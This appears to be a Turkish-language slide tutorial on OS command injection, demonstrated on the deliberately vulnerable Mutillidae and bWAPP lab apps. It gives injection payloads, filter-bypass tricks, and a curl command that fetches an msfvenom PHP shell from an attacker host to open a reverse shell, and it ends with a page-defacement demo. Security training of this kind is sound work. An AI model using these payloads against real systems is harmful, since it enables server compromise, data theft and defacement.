Download as pptx, pdf, or txt
Download as pptx, pdf, or txt
You are on page 1of 28

Operating System (OS)

Command injection
İnjection
• Kullanıcı tarafından gönderilen veriler, uygulama tarafından kontrol
edilmez veya filtrelenmez ise, hassas bilgiler görüntülenebilir, komutlar
yürütülebilir.
• Saldırganın sağladığı güvenilmez girdiler, bir komutun veya kodun
parçası olarak yorumlanır. Yorumlayıcı (interpreter), bu girdilere
güvenirse, çalışmasını değiştirir. İstenmeyen sonuçlar döndürmesi de bu
çalışma değişikliğine bir örnektir.
OS Command Injection
• OS Command Injection, bir web uygulama zafiyetidir. Saldırganın, bir uygulamayı çalıştıran sunucuda işletim sistemi (OS)
komutlarını yürütmesine olanak sağlayan açıklardır.
• Bu zafiyet OWASP’ın yayınladığı en popüler zafiyetlerde ilk sırada yer alan Injection kategorisi içerisindedir.
• Os Command Injection Sistemi Nasıl Etkiler?
• Bu zafiyet sistem üzerinde izinsiz komut çalıştırma yetkisini saldırganlara vermiş olur.
• Uygulamanın kurulumuna ve onu yürüten işlem yapılandırmasına bağlı olarak, işlemin ayrıcalık düzeyinin artmasına veya
saldırganın tam etkileşimine izin veren uzak bir ters kabuk oluşturmasına neden olabilir.
• Aslında saldırgan sistemin izin verdiği ölçüde hemen hemen her şeyi yapabilir. Bu yüzden çok tehlikeli ve ciddi zararlara yol
açan bir zafiyettir.
OS Command Injection
• Mutillidae nedir?
• OWASP Mutillidae II, web güvenliği meraklıları için bir hedef sağlayan
ücretsiz, açık kaynaklı, kasıtlı olarak savunmasız bir web uygulamasıdır.
• Command enjection Nedir?
• Komut Enjeksiyonu, bir saldırgan web uygulamasından işletim sistemi
komutlarını veya sunucu tarafı komut dosyalarını çalıştırabildiğinde ortaya
çıkar.
• Bu güvenlik açığı, bir web uygulaması, web sayfalarından yaygın olarak
nslookup, whois, ping, traceroute ve daha fazlasını yapmanıza izin
verdiğinde ortaya çıkabilir.
• Beklenen girdinin (örn. www.cnn.com) sonuna bir ";" veya "|" veya "||"
veya "&" veya "&&" eklendiği ve ardından bir komutun (örn. cat
/etc/passwd) geldiği fuzzing adı verilen bir teknik kullanarak güvenlik açığını
test edebilirsiniz.
• Fuzzing, yazılım, işletim sistemleri veya ağlardaki kodlama hatalarını,
güvenlik açıklarını, bugları ve hataları keşfetmek için kullanılan bir test
tekniğidir.
OS Command Injection
• DNS Aramasını Test Et
• Bu sayfa DNS sorgusu yapmak için tasarlanmıştır,,, bir
DNS Araması sağlar.
• Ana Bilgisayar Adı/IP: www.cnn.com
• DNS Ara düğmesine tıklayın
• Sonuçlarınızı Görüntüleyin
OS Command Injection
• DNS Arama Güvenlik Açığını Test Edin
Şimdi, aradığımız ana bilgisayar adının sonuna bir
Unix/Linux komutu eklememize izin verecek bir güvenlik
açığını test edeceğiz.
• Uygulamanın beklediği şeyden sonra bir ";" ekleme
prosedürüne komut bulanıklaştırma denir.
• Aşağıda "uname -a" komutunu çalıştıracaksınız
• Ana bilgisayar adı/IP: www.cnn.com; uname -a
OS Command Injection
• Keşif Gerçekleştirin (Perform Reconnaissance)
• Sizce de belirli bir web sayfası uygulamasının nereden
çalıştığını bilmek güzel olmaz mıydı?
• Şimdi bize mevcut çalışma dizinini göstermek için
"pwd" komutunu çalıştıracağız.
• Ayrıca, Adres Çubuğunda uygulamanın adının dns-
lookup.php olduğuna dikkat edin
• Ana bilgisayar adı/IP: www.cnn.com; pwd
• dns-lookup.php'nin savunmasız program olduğuna
dikkat edin.
OS Command Injection
• dns-lookup.php uygulamasını sorgulayın
• Sadece sırıtmak için, PHP'nin bir sistem çağrısı yürüttüğü kod satırını bulup
bulamayacağımızı görelim.
• Aşağıdaki dizeleri aramak için xargs komutunu kullanacağım, egrep
kullanarak: exec OR system OR virtual.
• www.cnn.com; find /var/www/html/mutillidae -name "dns-lookup.php" |
xargs egrep '(exec|system|virtual)‘
• find /var/www/html/mutillidae -name "dns-lookup.php": Bu bölüm,
/var/www/html/mutillidae dizininde bulunan tüm dosyaları arar ve isimleri
“dns-lookup.php” ile eşleşenleri listeleyecektir. Bu, belirtilen dizindeki tüm
“dns-lookup.php” dosyalarını bulur.
• | xargs egrep '(exec|system|virtual)': Bu bölüm, önceki komutun çıktısını
alır ve bu çıktıyı egrep komutuna yönlendirir. egrep, verilen düzenli ifadeyi
arar ve eşleşen satırları görüntüler. Burada, (exec|system|virtual) ifadesi,
satırlarda “exec”, “system” veya “virtual” kelimelerini içeren dosyaları bulur.
• Bu komut, belirtilen dizindeki “dns-lookup.php” dosyalarını arar ve bu
dosyalarda “exec”, “system” veya “virtual” kelimelerini içeren satırları
görüntüler
• shell_exec() adında bir fonksiyon olduğuna dikkat edin, bu fonksiyon
aslında Linux komutu olan "nslookup "ı çalıştırmaktadır.
OS Command Injection
• Bu sayfa senaryosu gereği dns lookup işlemi yapıyor. Yani domain girmişsek ip’yi, ip girmişsek domaini çözecek.
• Sarı bölge ile belirttiğim çıktı bir Shell çıktısına benziyor. Belli ki bu sayfa kodunu shell’ den çekmiş.
• Nslookup gibi bir araç kullanarak DNS sonucu döndürüyor. Alınan sonuçlar bir Linux shellinden alınmış gibi. Örneğin
kali shellinden nslookup baktığımızda benzer sonuçlar elde ederiz.
OS Command Injection
• Şimdi sayfada Linux komutları çalıştıralım. “&” operatörü ile hem Google.com dns lookup işlemi yaptırdık hem whoami komutunu
çalıştırdık. Sonuçta bu işlemi ww-data kullanıcısının yaptığını gördük.
• Aslında burda OS injection işlemi yapmış olduk. & operatörü : ilk komut çalıştıktan sonra ikinci komutu çalıştırır. İki tane & operatörü
olsa yani &&: ilk komut başarılı olursa ikinci komutu çalıştır anlamındadır.
OS Command Injection
• Şimdi hedefin işletim sistemini bulalım.
• Bu işlem sırasında & operatörü öncesindeki boşlukları kaldıralım, çünkü bazen boşluklar blacklist karakterler arasına alınabilir.
• Hedefin Linux bir işletim sistemine sahip olduğunu gördük. Kod enjekte edebildiğimizide gördük. Dolayısyla Linux komutları ile daha
detaylı aramalar yapılabilir.
OS Command Injection
• Netstat –a komutu ile hedefin bağlantılarını, hangi bağlantının establish olduğunu hangi bağlantının listen olduğunu görebiliriz.
• Pwd komutu ile bulunduğumuz dizini görebiliriz
OS Command Injection
• Ps –ef ile üzerinde çalışan processleri (işlemleri) gördük
OS Command Injection
• BWAPP OS command injection seçelim
• Bwapp burda bize direk dns lookup yapabileceğimiz bir web sitesi vermiş biz
onun yanına kendi komutlarımızı ekleyeceğiz
• Programlamada da kullanılan Logical Operators (mantıksal operatörler)den biri
olan & (AND) operatörü ilk komut başarıyla tamamlandığı zaman ikinci komutu
çalıştırır. & operatörünü DNS lookup sorgumuza dahil ederek
“www.nsa.gov&whoami” komutunu çalıştırdığımızda bizde sunucunun “www-
data” kullanıcısında çalıştığını görüyoruz.
OS Command Injection
• Önce pwd ile bulunduğumuz konuma bakalım
• Sonra Etc/passwd dosyasını okuyup, kullanıcıları ve
kullanıcıların grup id’ lerine bakalım
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Php yada başka bir yazılımda bazı karakterler direk
blacklist’ e alınmış olabilir. Mesela az önce yaptığımız
Google.com&whoami sorgusundaki whoami sorgularını
kapatmış olabilir, & operatörünün önünde arkasında
boşluk kabul etmeyebilir. Bu tip senaryolarda
kullanabileceğimiz bazı bypass filtreleri bulunuyor.
Dolayısyla bu örnekte filtreleri bypass edelim. Aslında
burda shell’ i farklı şekillerde kullanmaya yönelik işlemler
yapıyoruz.
• security level’ ı medium yapalım.
• Medium level’ da whoami sorgusuna yanıt verilmedi. Yani
black liste almış. Yada & operatörü yerin “;” kullanılabilir.
Ama o da çalışmadı
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Bu tip durumlarda bunları bypass etmemiz gerekir. Örneğin pipe “|”
operatörünü deneme yapalım.
• Ve sorguma cevap aldım
• Mesela “|” işareti ve boşluk karakterleri izinli görünüyor ve çıktı üretti.
Boşluk karakteri izinsiz olsaydı boşluk karakteri yerine “<” karakteri
kullanabilirdik.
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Burda daha fazla operatör kullanılabilir. Daha fazla operatörü Shell script operatörlerini araştırıp bularak kullanabiliriz.
• Mesela bazen karşı taraf direk bir kelimeyi balackliste almış olabilir. O zaman kelimeyi Shell ‘ e “\” işareti ile parçalı
gönderebiliriz Shell bunu anlar. Mesela şimdi Whoami kelimesini karşıya parçalı gönderelim
OS Command Injection
• OS Command Injection-Filter Bypass ile
• Echo ve |rev komutları ile bir kelimeyi tersten yazdırıp
gönderebiliriz.
• İlk komut echo, ikinci komut “rev” ile ilk komutun girdisi tersine
çevrildi ve whoami oldu. Devamında 2. Komutun çıktısını 1.
Komutun bin/bash ine girdik ve bize whoami sorgusunun
cevabını döndü. Bu şekilde her zaman çalışmayabilir ama farklı
bir atlatma yöntemi olarak akılda kalmalı.

• Son yaptığımız örneklerden medium seviyede “;” ve “&”


operatörlerinin yasaklandığını “|” operatörünün
yasaklanmadığını gördük.
OS Command Injection
• Bir Zararlı yazılım oluşturup bunu OS command injection ile hedef sisteme yükleyelim
• İlk aşamada msfvenom ile zararli_php_shell adında bir zararlı yazılım oluşturalım.
• İkinci adımda kali makinemizde 8080 portu üzerinden http server açalım ve
OS Command Injection
• Oluşturulan zararlı yazılımı gördük.
• Şimdi OWASP Mutillidae modülünde DNS lookup sayfasına
gelelim tekrar
OS Command Injection
• DNS lookup sayfasında aşağıdaki komutu çalıştıralım.

• google.com | curl
http://192.168.132.142:8080/zararli_php_shell.php --output
deneme2.php
• Bu komut, google.com adresini ziyaret eder ve ardından
192.168.132.142:8080 adresindeki zarali_php_shell.php
dosyasını indirip deneme.php adıyla kaydeder.
• Ls ile bakınca zararlı yazılımın çekildiğini gördük.

• Not: Browser ın Noproxy modda olması gerekiyor


OS Command Injection
• Şimdi Multi handler açalım. Böylece bize reverse TCP Shell’ in
açıldığını görelim.
OS Command Injection
• Browserda http://192.168.132.135/mutillidae/deneme.php diyelim ve bize reverse TCP Shell’ in açıldığını görelim.
OS Command Injection kullanarak index
atma
• İndex1.html diye bir dosya oluşturduk ve içine selam yazdırdık. “>” operatörü dosya içine
yazı yazdırmak için kullanıldı.
• Şimdi kırmızı bir sayfaya HACKED BY ILHAN , yazan bir HTML sayfası yapalım. Sonra
bunu enjekte edeceğiz.
OS Command Injection kullanarak index
atma
• Şimdi bu işlemi direk Shell de yapacağız. Sonra gidip bunu komut olarak kullanacağız.
• echo "<h><font.color=red><center><h1>HACKED BY ILHAN</h1></center></font></h>" > index.php bu yazım sonrasında index.php
dosaysı oluşturulur ve içine yazdığımız şeyler yazılır.
OS Command Injection kullanarak index
atma
• şimdi aşağıda index.php kısmına enjekte edeceğiz.
Dolayısıyla sayfanın yapısı bozulacak. Bu işlemden önce
snapshot alalım ki sayfanın orijinal haline dönebilelim
OS Command Injection kullanarak index
atma
• Şimdi browserda http://192.168.132.135/mutillidae/index.php
yazarsak enjekte ettiğimiz indexi görürüz
• http://192.168.132.135/mutillidae/ yazınca da enjekte ettiğimiz
indexi görüyoruz. Sayfa yapısı bozuldu. Aldığımız snapsahottan geri
dönebiliriz.

• Böylelikle OS command injection kullanarak index atma saldırısı


gerçekleştirdik.

You might also like